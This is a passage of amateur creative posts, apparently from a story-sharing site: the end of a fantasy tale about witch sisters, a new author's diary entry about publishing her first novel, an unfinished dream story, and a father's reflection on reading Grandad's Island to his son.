The second eldest witch had cast a spell on the mirrors, thus ricocheting the lightning back to the sky. The third witch gathered the lethal flowers, not by hand but with her magick. The flowers arose, blown by the winds charmed to be twice as strong by the eldest witch.

The lightning, the wind, and the deathly flowers soared up to the sky, aiming right at the god of lightning’s throne.

They called to their youngest sister, “Charm the waters!”

Softly, the youngest witch chanted incantations to the waters. They surged like mountains around her, and with a flick of her fingers, the waters drowned the three islands with her three hornswoggled witch sisters.

The sky cleared, and the god of lightning’s chariot descended, his hand reached to hers.

Thus was her plan, crown adorned her hair, goddess of the sky, sisterless and alone.
My Life Journey #7
By: Penny The Wise
Tags: Learning, Life, Diary, Stories

It has been a week since I started writing

I could feel my life changed. Especially this day, my heart flustered in a whole day, even since last night. Today, I officially published my debut book as a debut author. It’s something I haven’t expected before. My hard work has paid off with a feeling I can’t explain and understand. I remember few months ago I sat in front of laptop everyday, thinking ideas which I don’t know where it came from, and sometimes being depressed when it didn’t come. Thanks to God. Without Him the Almighty, I am nothing.

My novel — I believe — has numerous mistake, like in grammar, paragraph, maybe some words, even correlation between one fact and another. But, if I continue to edit it until being perfect, I would lose many chances to write another story. It is hesitation which always drags me down and puts mind to not take risky step. Now, I hope my readers enjoy my story. Even though I am happy with the books, still a little bit worried if it doesn’t make the readers pulled in. Anyway, I’m just happy now. Especially when my special person always be here for me.

Sincerely, Penny the Wise.
TRAPPED IN MY DREAM (mnes)
By: Enzo Seven
Tags: Stories, Enzoseven, Novel, Mnes

Have you ever woke up from a dream a thousand times, and still be in your dream, it happens to me all the time, I ones fell asleep at 12:00 pm, woke up at 3:00pm thinking it’s the next day, I got up immediately began rushing for school, I rushed to the shower, got dressed packed my lunch, got outside, it was a rainy, cloudy day, it looked as though it was early in the morning, so i got in the car waiting for the driver that usually takes us to school, stayed there for about five minutes, no one came, i honked the car’s Horn but no one responended, tried a few times and called out loud, LET’S GO! the driver finally came out, but he seemed to have “forgotten” about taking me to school today, i got out the car, looked at him with that frown i wear every morning, he just looked at me in shock, looked at me from head to toe, And began loughing called everyone in the house, meanwhile im just standing there like a maniac, all dressed and ready to go, The drive came out loughing again followed by everyone in the house, i had no idea what the joke was, my little brother came running from the house asking “where are you going” I asked what the joke was, they just stood there, the driver finally tells me to look at my phone, i went through it, checked all my messages and my caller ID, the all shout at the same time, NO DUMMY, THE TIME, i literally fell on my knees, began to lough, we all went back inside, unexpetly the house was flooded with water, everyone drowned and died, i was floating for a few minutes, tried swimming to my room to get my little brother but one of the furnitures dragged me in the water and drowned me, That’s when i woke up and realised its was just a dream, but here comes the exciting part, i did everything i was doing in my dream, i woke up from a dream in the same pajamas, ran to the toilet, washed my face and brushed my teeth, without noticing i did exactly the same things but than realised that in the dream it was day time, i dint have to go to school but i checked my phone and the time was 6:15, the driver was ready to go, honking the horn….TO BE CONTINUED

Enzo Seven
Grandad’s Island
By: João Ribeiro
Tags: Children, Bedtime, Family, Storie

Syd hears his grandfather calling from the attic and goes up the stairs. Together, they unveil a secret door that takes them on a journey to a beautiful tropical Island.

It is now 8:31 PM in the island of Stord, Norway. I have just put my 3 year old son to bed by reading him a bedtime story: Grandad’s Island by Benji Davies.

The cover of Grandad’s Island

In this story, a little boy called Syd who loves to visit his grandfather, goes to his grandpa’s house looking for him but cannot seem to find him.

Syd hears his grandfather calling from the attic and goes up the stairs. Together, they unveil a secret door that takes them on a journey to a beautiful tropical Island.

Things are different on the island. Grandpa no longer needs his walking stick and they spend a wonderful time together, playing, swimming, and celebrating their friendship in complete joy.

In the end, Grandpa explains to Syd that he will stay on the island and that he will miss him very much. Syd is hesitant to return, but Grandpa assures him that he will be happy in the island and that Syd can take the trip back by himself: he is ready!

Every single time I read it to my son I am grateful for him, my wife, my unborn baby, my family, my friends… my life!

I am grateful for all of those who are with me today, and for all of those who have already “stayed on the Island”.

It is now 8:56 PM in the island of Stord, Norway.

Joao